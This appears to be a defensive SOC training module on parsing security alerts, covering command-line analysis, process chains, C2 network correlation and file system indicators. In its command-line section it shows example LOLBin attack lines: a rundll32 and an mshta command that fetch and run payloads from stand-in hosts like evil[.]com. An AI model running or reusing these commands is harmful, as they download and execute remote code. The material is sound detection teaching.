ASSURED

Parsing Alerts

Alert parsing is the analytical process of transforming raw, unstructured detection outputs into structured, actionable intelligence. This process extracts relevant elements from alerts while preserving context, enabling accurate threat assessment and efficient investigation. Effective parsing requires expertise in system architectures, detection tool capabilities, attacker techniques, and operational workflows.

For example, an EDR alert may report PowerShell.exe executing with an encoded command parameter. Without proper parsing, the underlying malicious command remains obscured, potentially resulting in missed indicators or misdirected investigation efforts. Parsing must therefore handle obfuscation, encoded scripts, and living-off-the-land attacks to reveal actionable data while maintaining operational efficiency.

Modern security operations encounter heterogeneous alert sources, from legacy syslog systems to cloud-native JSON telemetry. Parsing frameworks must standardize these diverse formats into queryable, structured data that supports correlation, automated response, and advanced analytics. Failure to parse effectively can compromise investigation integrity, reduce detection accuracy, and delay response to genuine threats.

Technical Complexity:

Parsing is technically complex due to adversary evasion techniques that deliberately hide malicious activity within legitimate system behaviors.

Examples include:

  • Obfuscated scripts: PowerShell or Python commands encoded to avoid detection
  • Fileless malware: Memory-resident payloads with minimal disk footprint
  • Living-off-the-land attacks: Exploiting native system binaries to execute malicious actions
  • Partial or inconsistent metadata: Alerts with truncated command lines, missing parent process information, or incomplete context

Advanced parsing methodologies must decode these techniques while preserving critical contextual metadata to enable proper correlation and incident response. Analysts must maintain deep knowledge of operating system behaviors, attacker TTPs, and telemetry idiosyncrasies to extract meaningful intelligence without losing fidelity.

Strategic Value:

A robust alert parsing framework delivers significant strategic advantages:

  • Converts high-volume, heterogeneous alerts into standardized intelligence repositories
  • Facilitates cross-platform correlation and enrichment, enabling identification of multi-stage attack sequences
  • Supports threat hunting, incident response, and continuous security improvement initiatives
  • Reduces time-to-investigation and enhances accuracy of triage and escalation decisions
  • Enables automation by providing structured, machine-readable data to SOAR platforms, ML pipelines, and analytics engines

By systematically standardizing and enriching alert data, parsing transforms raw telemetry into a foundation for proactive detection, rapid containment, and informed decision-making.


Multi-Format Data Standardization

Effective parsing frameworks must accommodate diverse logging formats and telemetry sources, standardizing them while retaining analytical value. Examples include:

🏢 Windows Event Logs (EVTx)

  • Process Events: 4688 (process creation), 4689 (process termination)
  • Authentication: 4624 (successful logon), 4625 (failed logon)
  • Privilege Escalation: 4672 (special privileges assigned)
  • Security Changes: 4738 (user account changed)

🌐 Syslog (RFC 5424)

  • Network Devices: Firewalls, routers, switches, load balancers
  • Linux Systems: Kernel logs, application events, security events
  • Cloud Platforms: Container orchestration, microservice logs
  • IoT Devices: Industrial control systems, embedded devices

📋 Common Event Format (CEF)

  • SIEM Platforms: ArcSight, QRadar, Splunk Enterprise Security
  • Standardized Fields: Device vendor, product, version, signature
  • Custom Extensions: Vendor-specific attribute mappings
  • Integration: SOAR platform compatibility

🔧 JSON/Structured Data

  • Cloud Services: AWS CloudTrail, Azure Activity Logs
  • Modern SIEMs: Native JSON ingestion and processing
  • API Streams: RESTful webhook integrations
  • Container Logs: Kubernetes, Docker, microservice telemetry

Data Quality Considerations: Alert completeness varies across platforms; some alerts lack full metadata, such as parent process information or affected asset identifiers. Advanced parsing systems must integrate data enrichment pipelines, drawing from:

  • Asset management systems (CMDBs)
  • Identity directories (Active Directory, Okta, SailPoint)
  • Threat intelligence feeds (Mandiant, CrowdStrike, RecordedFuture)

This ensures that structured alerts contain sufficient context for triage, correlation, and incident response.


Key Information Extraction

Key information extraction is the process of systematically identifying and capturing the most relevant elements from parsed alerts to support triage, investigation, and response. Effective extraction ensures that analysts have immediate access to actionable intelligence while preserving contextual integrity for correlation and escalation.

Alert Metadata:

Critical metadata provides foundational context for every alert, supporting chronological tracking, source identification, and prioritization:

  • Alert ID and Timestamp: Ensures unique identification and accurate temporal sequencing of events
  • Source System and Detection Mechanism: Indicates which security technology (EDR, SIEM, firewall, UEBA) generated the alert and the underlying detection logic
  • Severity Level and Confidence Score: Guides triage priority and helps allocate response resources effectively
  • Alert Category and Classification: Contextualizes the alert within investigative workflows, such as privilege escalation, lateral movement, or data exfiltration

Technical Details:

Technical information provides a clear understanding of scope, affected systems, and attack vectors, enabling precise impact assessment and correlation with other events:

  • Affected Systems and Users: Identifies endpoints, servers, or accounts impacted, forming the basis for scoping and containment
  • Network Information: Includes IP addresses, ports, protocols, and session identifiers to support lateral movement analysis and cross-system correlation
  • File and Process Information: Captures execution paths, file hashes (SHA-256, MD5), and command-line parameters to identify malware or misuse of legitimate tools
  • Registry and Configuration Changes: Detects persistence mechanisms, policy modifications, or system configuration changes that could indicate compromise

Contextual Information:

Contextual enrichment ensures that each alert is understood within its operational, regulatory, and historical environment, improving decision-making accuracy:

  • Business Impact Assessment: Evaluates potential disruption to critical services or operational workflows
  • Regulatory Compliance Implications: Flags alerts that intersect with HIPAA, PCI-DSS, GDPR, or other frameworks requiring reporting or special handling
  • Historical Correlation Data: Links current alerts to prior events, recurring patterns, or previously observed attack sequences to identify campaigns or persistent threats
  • Threat Intelligence Context: Enriches alerts with known indicators of compromise (IoCs), adversary tactics, techniques, and procedures (TTPs), or campaign-specific signatures for proactive threat assessment

Advanced Parsing Considerations

Effective parsing extends beyond simple extraction of alert fields. Advanced parsing considerations focus on uncovering the hidden intent, attack paths, and operational context within complex alerts. Modern adversaries employ obfuscation, multi-stage attacks, and living-off-the-land techniques to evade detection, making standard parsing insufficient for accurate investigation. Security teams must implement structured workflows that preserve technical context, enable cross-source correlation, and support automated enrichment while maintaining operational efficiency.

Advanced parsing enhances situational awareness by linking low-level telemetry to broader attack sequences. By incorporating detailed command-line analysis, process relationships, network activity, and file system behavior, analysts can reconstruct potential attack paths, identify subtle compromise indicators, and prioritize high-impact alerts effectively. Structured, advanced parsing forms the backbone of investigative workflows, supporting rapid triage, threat hunting, and incident response.

🖥️ Command Line Analysis

Command-line parsing reveals the true intent behind process execution. Adversaries often employ techniques like Base64 encoding, string concatenation, environment variable expansion, and obfuscated PowerShell or Python scripts to hide malicious actions. Advanced command-line analysis decodes these obfuscations, exposing the exact commands executed, their parameters, and any embedded indicators of compromise. This capability is essential for detecting fileless malware, living-off-the-land techniques, and other subtle attack behaviors that evade signature-based detection.

🔗 Process Relationships

Parsing parent-child and sibling process relationships provides critical insight into attack paths and anomalous behavior patterns. Unexpected parent processes, orphaned executions, or processes spawned by system binaries in unusual contexts often indicate lateral movement, privilege escalation, or malicious automation. Mapping these relationships allows analysts to reconstruct attack chains, understand the progression of compromises, and identify deviations from normal process execution baselines.

🌐 Network Activity Correlation

Network activity correlation examines whether processes are communicating with trusted or suspicious destinations. By analyzing DNS queries, IP connections, protocol usage, and data transfer patterns, analysts can identify potential command-and-control channels, data exfiltration attempts, or lateral movement vectors. Integrating network telemetry with process-level data provides context-rich insights, enabling early detection of coordinated attack campaigns that might otherwise appear benign in isolation.

📁 File System Activity

File system parsing monitors creation, modification, and deletion events to detect malware persistence, payload deployment, or exfiltration activities. Analysts can identify staged attack artifacts, hidden files, or unusual directory access patterns indicative of compromise. Tracking file system changes in conjunction with process and network activity enables comprehensive reconstruction of attack sequences, revealing the full scope and impact of an incident.

Advanced parsing ensures that technical and contextual data are preserved, normalized, and enriched for subsequent analysis. By systematically decoding command lines, mapping process relationships, correlating network activity, and monitoring file system interactions, SOC teams can gain a complete and actionable view of alerts, forming a strong foundation for triage, investigation, and incident response.


Command Line Analysis

Command line analysis is a cornerstone of advanced alert parsing, providing insight into the true intent of process execution. Adversaries often leverage native operating system utilities and scripting environments to execute malicious actions while evading conventional detection mechanisms. Effective command line analysis combines inspection, execution context evaluation, and pattern recognition to distinguish legitimate activity from suspicious or malicious behavior.

Command Line Inspection

Analysts must identify common obfuscation techniques frequently used by frameworks such as PowerShell Empire, Cobalt Strike, and other post-exploitation tools. These techniques include:


  • Base64 Encoding: e.g., powershell.exe -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC…
  • String Concatenation: e.g., cmd.exe /c “e”+“cho” “Hello”
  • Variable Expansion: e.g., $env:COMSPEC

These methods conceal malicious commands within seemingly benign processes. Attackers may leverage utilities like certutil.exe for file downloads or regsvr32.exe for DLL execution, bypassing traditional executable detection and leaving minimal forensic footprint. Analysts must extract parameters, flags, and arguments to decode these operations fully.


Execution Content

The context in which a command is executed often determines its legitimacy. Analysts should evaluate:


  • User Context: e.g., NT AUTHORITY\SYSTEM versus standard user accounts
  • Timing of Execution: Outside business hours (e.g., 3:00 AM) versus scheduled maintenance
  • Parent Processes: Execution chains, such as cmd.exe spawned by outlook.exe
  • Directory Location: Suspicious directories (e.g., C:\Windows\Temp) versus expected application paths (e.g., C:\Program Files)

For instance, a PowerShell script launched by Outlook may indicate a malicious attachment, while the same command executed by Task Scheduler during a maintenance window likely represents legitimate activity. Execution context evaluation prevents false positives and prioritizes truly suspicious activity for investigation.


Pattern Recognition Skills

Developing pattern recognition expertise is critical for identifying anomalous command usage and detecting living-off-the-land techniques. Analysts must understand both common system utilities and unusual usage patterns that suggest compromise. Effective pattern recognition involves:

  • Extracting and interpreting command-line parameters and flags (-NoP, -EncodedCommand)
  • Recognizing atypical invocations of binaries such as rundll32.exe, mshta.exe, or wmic.exe
  • Linking suspicious commands to known attack frameworks or TTPs

Examples of high-risk patterns:
  • Rundll32 Fileless Execution: rundll32.exe javascript:”..\mshtml,RunHTMLApplication “;document.write();GetObject(“script:hxxps://evil[.]com/payload”)
  • Mshta-based Payload Delivery: mshta.exe hxxp://malicious.com/payload.hta

Combining inspection, context analysis, and pattern recognition allows analysts to decode obfuscated commands, identify hidden threats, and map execution paths, forming a critical foundation for triage, investigation, and incident response.


Process Relationships

Process relationship analysis is a core capability in modern threat detection, allowing analysts to reconstruct adversary activity through the mapping of parent-child process hierarchies. Legitimate operating system behavior follows predictable execution flows. Deviations from these norms often indicate malicious activity or advanced evasion techniques. By visualizing and interrogating these relationships, SOC teams can uncover hidden attack paths, validate alerts, and prioritize response actions with greater accuracy.

Parent-Child Process Relationships

Parent-child relationships define the execution lineage of processes within an operating system. Each process typically spawns predictable children based on known system behaviors, making anomalies immediately suspicious.

Normal Examples:

  • explorer.exe → winword.exe (PID 4562) – Standard user-launched document activity
  • services.exe → svchost.exe (PID 2344) – Normal Windows service initiation

When this hierarchy is altered or extended in unusual ways, it often signals adversary activity. Analysts must carefully examine these chains to identify lateral movement, privilege escalation, or initial access techniques.


Key Evaluation Considerations:
  • Unexpected Process Origins: E.g., notepad.exe spawning wmic.exe is inherently suspicious.
  • Temporal Sequences: Multiple processes launching within 200–300 ms often indicates scripting or automation.

Example Scenario: The direct spawning of msdt.exe by winword.exe strongly suggests exploitation of Follina (CVE-2022-30190), where a malicious Word document triggers the Microsoft Support Diagnostic Tool to run arbitrary attacker-controlled code.


Malicious Actions Identified Through Process Chains

Adversaries frequently manipulate process hierarchies to conceal execution, evade detection, and maintain persistence. Recognizing these tactics requires understanding the hallmarks of malicious process flows.


Common malicious tactics observable through process relationships include:
  • Rogue Script Execution: PowerShell downloading and executing hidden .ps1 or .vbs files in non-standard directories such as C:\Users\Public\Temp.
  • Unusual Process Spawning Chains: cmd.exe → wmic.exe → reg.exe used to manipulate registry keys for persistence or configuration changes.
  • Abnormal Service Creation: Malware leveraging sc.exe create to register unauthorized services and maintain persistence.
  • Stealth Injection and Hollowing
    • Process Hollowing: Malicious code injected into a legitimate binary like svchost.exe while retaining its digital signature to avoid detection.
    • Token Theft: Launching processes under another user’s security context using stolen authentication tokens.

Example Threat Chain: winword.exe → cmd.exe → powershell.exe → outbound TCP connection to 185.225.17[.]100:443. This strongly indicates a malicious document delivering a PowerShell-based downloader, establishing external command-and-control (C2) communications.


Process Tree Visualization Tools

Process tree visualization allows analysts to quickly spot anomalies and hidden attack flows that may be buried within raw telemetry. These tools provide intuitive graphical representations of execution hierarchies, dramatically improving the speed of detection and investigation.

  • Microsoft Sysinternals Process Explorer: Detailed local process tree analysis and thread inspection.
  • Process Hacker: Lightweight alternative for in-depth parent-child mapping.
  • Modern EDR Consoles: CrowdStrike Falcon, SentinelOne, or Microsoft Defender ATP for real-time visualizations and historical playback.

Analytical Advantages
  • Identify Unexpected System Utility Usage: Example: notepad.exe spawning wmic.exe process call create “powershell.exe”.
  • Detect Suspicious Hierarchies: winword.exe [PID 3421] → cmd.exe [PID 3422] → powershell.exe [PID 3423] → outbound TCP 185.225.17[.]100:443.
  • Spot Timing and Automation Indicators: Multiple process launches within sub-second intervals signal scripted attacks or macro execution chains.
  • Privilege Escalation Monitoring: Observe transitions from low-privilege accounts to SYSTEM context for potential UAC bypass activity.

By maintaining real-time visibility into process trees, analysts can detect multi-stage attacks before lateral movement or data exfiltration occurs.


Evasive Techniques

Sophisticated adversaries intentionally manipulate process chains to disguise their actions, blending malicious activity with legitimate system behavior. Detecting these tactics requires correlating process tree data with behavioral analytics and threat intelligence.


Common Evasion tactics:
  • DLL Search Order Hijacking: Placing a malicious DLL in an application directory so a legitimate binary inadvertently loads it.
  • Fileless Malware in Memory: PowerShell, WMI, or .NET-based payloads executing entirely in memory to avoid disk-based detection.
  • Alternate Data Streams (ADS) Abuse: Storing malicious code within NTFS alternate data streams to conceal execution artifacts.
  • Indirect Execution via LOLBINs: Leveraging trusted binaries such as regsvr32.exe, mshta.exe, or rundll32.exe to execute attacker code without dropping files.

Strategic value

Process relationship analysis bridges the gap between alert-level detection and full kill chain reconstruction. When combined with command line parsing, analysts can:

  • Detect early-stage intrusion attempts, such as spear-phishing payloads launching secondary tools.
  • Validate alerts by confirming the presence of malicious execution flows.
  • Provide clear forensic evidence for incident response and legal investigations.
  • Feed detection improvements back into SIEM, EDR, and SOAR platforms to continuously strengthen defenses.

Network Activity Correlation

Network activity correlation is the process of linking host-level events with network telemetry to reveal suspicious or unauthorized communications. Adversaries depend on outbound connections to maintain command-and-control (C2) channels, move laterally, and exfiltrate data. By correlating internal process activity with external communications, SOC teams can differentiate normal operational traffic from malicious behavior, detect hidden intrusion attempts, and take proactive containment measures.

While endpoint telemetry alone can reveal suspicious processes, and network traffic alone can highlight anomalies, correlation between the two provides the full context of an attack chain. For example, a single PowerShell process may appear legitimate, and a burst of HTTPS traffic might seem harmless in isolation—but correlating these events reveals that the PowerShell process is beaconing to a newly registered domain, indicating a likely compromise.

System-Level Event Correlation

Effective correlation begins with mapping system activity to external network behaviors. This provides a two-way visibility bridge:

  • Host Perspective: Which process initiated the connection, under which user context, and with what command-line arguments.
  • Network Perspective: Where the connection is going, how often, and whether it matches normal patterns.

By combining these perspectives, analysts can identify anomalous or unauthorized communications early in an attack chain.


Example Scenario:
  1. powershell.exe launches on a user workstation at 03:15 AM.
  2. Within seconds, the host establishes encrypted HTTPS sessions to a domain registered 48 hours ago.
  3. SIEM correlation reveals the domain has low prevalence and an untrusted TLS certificate.

This strongly indicates initial compromise and outbound C2 communication.

This type of multi-source correlation is critical for detecting living-off-the-land techniques, where adversaries leverage legitimate binaries (LOLBINs) to blend into normal operations.


Data Analysis Techniques

Network correlation requires continuous analysis of diverse data sources to identify subtle anomalies that indicate compromise. Analysts should focus on four primary telemetry types:


DNS Queries:
  • Identify algorithmically generated domains (DGAs) using entropy scoring and pattern analysis.
  • Watch for randomized subdomains or extremely short TTLs indicative of fast-flux infrastructure.
Network Connections:
  • Flag traffic to newly observed external IPs or known malicious ranges, e.g., 185.225.17[.]0/24.
  • Detect unusual port usage, especially high ephemeral ports (49152–65535) or uncommon service protocols.

Data Transfer Patterns: Identify automated beaconing behavior, such as consistent 8KB packets sent every 60 seconds, versus irregular, human-driven traffic.

  • Detect automated beaconing behavior, such as packets of exactly 8KB sent every 60 seconds (a Cobalt Strike default).
  • Differentiate from human-driven traffic, which is irregular and unpredictable.

Protocol Usage: Detect abuse of tunneling or obfuscation techniques, such as DNS over HTTPS (DoH) to bypass network controls.

  • Identify tunneling or encryption abuse, such as DNS over HTTPS (DoH) or custom encryption layers designed to bypass DLP and inspection controls.

By baselining normal network behavior for critical systems, analysts can more effectively detect anomalies and prevent alert fatigue.

Example: A finance workstation normally communicates only with internal ERP systems. If it suddenly initiates TLS sessions to a low-reputation cloud storage provider outside business hours, this strongly suggests data exfiltration.


Effective Correlation Strategies

Correlating network events into actionable intelligence requires a multi-dimensional approach. Analysts should evaluate three key data dimensions:


1. Connection Metadata:
  • Capture timestamps, source/destination IPs, ports, and session durations.
  • Look for unusual port activity, suspicious TLS cipher suites, or irregular handshake behaviors.

    Example: High-frequency connections using non-standard TLS versions may indicate malware attempting to evade SSL inspection.

2. Payload Characteristics:
  • Identify fixed packet sizes or repetitive transmission intervals that indicate automation, not user-driven behavior.

    Example: Packets exactly 8,192 bytes every 300 seconds strongly suggest C2 beaconing.

3. Destination Reputation:
  • Evaluate domains and IPs using threat intelligence feeds.
  • Red flags include:
    • Domains registered in the last 30 days.
    • Infrastructure associated with known threat actor campaigns.
    • Geographic anomalies, such as systems connecting to unusual countries.

For example,A PowerShell process repeatedly reaching out via HTTPS to a newly registered domain using a self-signed TLS certificate labeled “Microsoft Corporation” is a classic sign of obfuscated C2 activity.

Without combining process-level context, network metadata, and reputation scoring, such behavior may appear benign.


C2 Traffic Analysis

Detecting command-and-control traffic is one of the highest-value applications of network activity correlation. Modern adversaries attempt to hide their C2 channels within legitimate protocols like HTTPS or DNS, but their automation leaves behind distinctive behavioral traces.


Key Detection Indicators:
Timing Patterns:
  • Frameworks like Cobalt Strike often default to precise beacon intervals (e.g., 60-second heartbeats).
  • A consistent cadence of communication is far less common in legitimate traffic.
TLS Certificate Analysis:
  • Look for mismatched or self-signed certificates, especially with generic common names such as “Corp Services” or “Microsoft Corporation”.
  • Abnormally frequent certificate changes may indicate rotating C2 infrastructure.
DNS Traffic Patterns:
  • Domain Generation Algorithms (DGA): High-volume requests for random-looking domains with low historical presence.
  • Fast-Flux Hosting: Rapid IP rotation tied to a single domain, often used by botnets.
Data Exfiltration Indicators:
  • Large, compressed file transfers outside normal working hours.
  • Outbound traffic spikes to destinations with poor or no reputation data in services like Cisco Umbrella or VirusTotal.

For example, an internal database server that suddenly sends gigabytes of zipped data to a Dropbox-like domain at 2:30 AM may indicate active data theft. Even if encrypted, the volume, timing, and destination reveal malicious intent when correlated.

Strategic Value

Network activity correlation enables SOC teams to move beyond isolated alerts, providing a unified picture of adversary behavior across host and network layers. Its strategic benefits include:

  • Early Detection: Identify intrusion attempts before lateral movement occurs.
  • Attack Chain Reconstruction: Map adversary tactics from initial execution to external communications.
  • Proactive Containment: Block or disrupt C2 traffic in real-time to cut off attacker access.
  • Continuous Improvement: Feed findings back into SIEM/EDR rules and SOAR workflows for iterative defense enhancement.

By embedding correlation into daily operations, organizations can drastically reduce the dwell time of adversaries, transforming raw telemetry into actionable, high-confidence threat intelligence.


File System Activity

Monitoring file system activity is a critical component of alert parsing and threat detection, providing visibility into malware persistence, payload deployment, privilege escalation, and potential data exfiltration. Attackers frequently leverage living-off-the-land techniques, modifying legitimate system files, creating hidden payloads, or abusing OS utilities to remain undetected. Analysts must track file creation, modification, deletion, and access patterns to identify both traditional malware and sophisticated, fileless attack strategies.

File system events gain strategic significance when correlated with process execution and network telemetry, forming a holistic picture of adversary behavior. For example, a seemingly benign file C:\ProgramData\1.dat containing a random binary blob, followed by registry modifications under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, strongly suggests malware attempting to establish persistence. Parsing such events and linking them to parent processes and outbound connections allows SOC teams to prioritize alerts and respond rapidly.


Monitoring File Activities

Analysts must capture the full lifecycle of file operations across critical locations:

Creation

Detect new executables, DLLs, or configuration files in non-standard locations such as %APPDATA%, %LOCALAPPDATA%, %PROGRAMDATA%, or %TEMP%. Suspicious examples include powershell.exe creating DLLs in user directories or regsvr32.exe writing unexpected files to %PROGRAMDATA%.

Modification

Unexpected changes to legitimate system binaries, DLLs, or configuration files may indicate tampering or persistence mechanisms. Monitoring system directories like C:\Windows\System32 is crucial.

Deletion

The sudden removal of logs, binaries, or staging files can indicate attempts to erase traces of compromise or evade detection.

Access Patterns

Large-scale, sequential reads of sensitive datasets (customer databases, financial records, or intellectual property) may indicate data staging prior to exfiltration.


Suspicious Activities

Certain file system behaviors are strong indicators of compromise and should be prioritized:

Persistence Mechanisms
  • Registry autorun keys in HKLM\Software\Microsoft\Windows\CurrentVersion\Run or HKCU\Software\Microsoft\Windows\CurrentVersion\Run.
  • Scheduled tasks with obfuscated commands or unusual triggers.
  • DLL search order hijacking by placing malicious DLLs in application directories.
Payload Deployment
  • Executables in sensitive system directories (C:\Windows\Tasks, C:\Windows\System32).
  • Files with double extensions (e.g., invoice.pdf.exe).
  • DLLs created in temporary or user folders.
Ransomware Activity
  • Bulk renaming of files with extensions like .locked or .encrypted.
  • Rapid creation of ransom notes in multiple directories.
Data Staging for Exfiltration
  • Large compressed archives (.zip, .rar, .7z) containing sensitive data appearing shortly before outbound network transfers.

Key File Metadata Indicators

Parsing file system activity requires extracting rich metadata to reveal hidden threats:

  • File Hashes: MD5, SHA-1, and SHA-256 values for integrity verification and threat intelligence correlation.
  • Digital Signatures: Expired, self-signed, or mismatched certificates; critical for detecting supply chain attacks.
  • Entropy Scores: Values above 7.8 often indicate encryption, packing, or obfuscation.
  • Timestamps: Detect timestomping, creation outside business hours, or irregular modification patterns.
  • Permissions and Ownership: SYSTEM-level privileges in user directories, or unexpected ownership changes.
  • File Size Anomalies: Example: a legitimate notepad.exe should be 243 KB, but a tampered version is 368 KB.

When combined with process and network telemetry, these indicators provide a multi-layered view of adversary activity, helping identify threats that might otherwise remain hidden.


Threat Detection

Advanced attackers increasingly use fileless malware and LOLBins, avoiding traditional executable footprints:

Fileless Techniques
  • PowerShell executing code directly from memory using System.Reflection.Assembly.Load().
  • WMI persistence and scripts entirely stored within registry keys.
COM Hijacking and Registry Abuse
  • Modifying HKCR registry hives to hijack legitimate COM objects.
Living-Off-the-Land Binaries (LOLBins)
  • certutil.exe decoding Base64 payloads.
  • mshta.exe, wmic.exe, and rundll32.exe used for stealthy execution.

File system activity often precedes or accompanies exfiltration attempts. For instance, compressed archives created in %TEMP% shortly before outbound connections to low-reputation domains suggest active data theft. By systematically parsing and analyzing file system events, analysts gain visibility into both traditional malware and advanced persistent threats, enabling faster triage, accurate threat detection, and informed incident response actions.


Alert Schema Normalization

Modern security environments generate enormous volumes of alerts across diverse tools—EDRs, SIEMs, firewalls, cloud monitoring platforms, and IDS/IPS solutions—each with proprietary formats and data schemas. This fragmentation hampers aggregation, correlation, and analysis, contributing to alert fatigue, delayed detection, and extended Mean Time to Response (MTTR). Analysts may struggle to link related events from disparate sources, increasing the likelihood that critical indicators are overlooked.

Schema normalization addresses these challenges by transforming heterogeneous alert data into a standardized, consistent structure. Frameworks like STIX 2.1, OpenC2, OCSF, or custom internal models create a “common language” that allows disparate tools to interoperate. Normalized alerts enable reliable triage, enrichment, and automated workflows, providing a holistic view of threats across endpoints, networks, cloud services, and applications. By breaking down data silos, normalization also supports advanced analytics, threat hunting, and cross-domain correlation—capabilities that are nearly impossible to achieve with fragmented data.


Alert Fatigue

Analysts frequently face a flood of alerts from multiple systems, each using distinct field names, timestamp conventions, and nested structures. Without normalization, critical signals are buried in noise, investigations become inefficient, and MTTR increases.

For example, a malicious PowerShell execution detected by an EDR may generate an alert with proprietary field names, while a related network connection logged by a firewall or cloud proxy appears in a completely different format. Linking these events manually requires extensive effort and increases cognitive load, delaying both triage and remediation.

Core Principles of Schema Normalization

Normalization involves systematically mapping diverse, vendor-specific fields into a unified, consistent schema. Key components include:

Detection Metadata

Alert name, detection logic, severity level, confidence score, and timestamps standardized to UTC using ISO 8601.

Affected Entities

Hostnames, IP addresses, user accounts, cloud or container assets, and other relevant entities.

Primary Observables

File hashes (MD5, SHA-256), domain names, URLs, registry keys, and IoCs.

Contextual Data

MITRE ATT&CK mappings, enrichment tags, kill-chain stages, and threat intelligence annotations.

Normalization also requires flattening nested structures where necessary and harmonizing identifiers to allow automated cross-tool correlation.


Operational Benefits

A properly normalized schema delivers significant operational and strategic advantages:

Holistic Visibility

Enables correlation of events from endpoints, networks, and cloud systems into a unified timeline, revealing attack sequences that would otherwise appear unrelated.

Faster Response

Standardized data structures allow SOAR platforms and automated workflows to triage, enrich, and escalate alerts rapidly.

Advanced Analytics

Consistent fields support machine learning, anomaly detection, and proactive threat hunting.

Improved Threat Scoring

Standardized observables and metadata allow consistent enrichment with threat intelligence.

Simplified Reporting

Reliable and predictable fields streamline compliance, executive dashboards, and audit reporting.

For instance, without normalization, an EDR alert for a PowerShell process may appear disconnected from a firewall log showing outbound HTTPS traffic. With normalization, these events can be automatically correlated to reveal a clear attack sequence:


Governance and Sustainability

Normalization is not a one-time task. Effective implementation requires a governance framework to maintain consistency as new data sources, tools, and schemas are introduced. This ensures long-term compatibility, preserves analytical value, and allows security operations to evolve without re-engineering the normalization process.

Tools commonly used for normalization include Logstash, Fluentd, Cribl, or built-in SIEM capabilities. Successful implementation demands collaboration between security operations, data engineering, and tool owners, emphasizing both technical solutions and organizational processes. Within the ASSURED methodology, organizations should prioritize normalization of detection metadata, affected entities, and primary observables, ensuring that alerts are fully actionable and can be enriched with contextual intelligence during triage and investigation.


Ready to Continue?

🚀 The ASSURED Methodology: Alert

You have completed the ALERT Phase! The next section will give a brief overlook of what to expect within “Subject”

✓Detection Mechanisms
✓Alert Validation
✓Parsing Alerts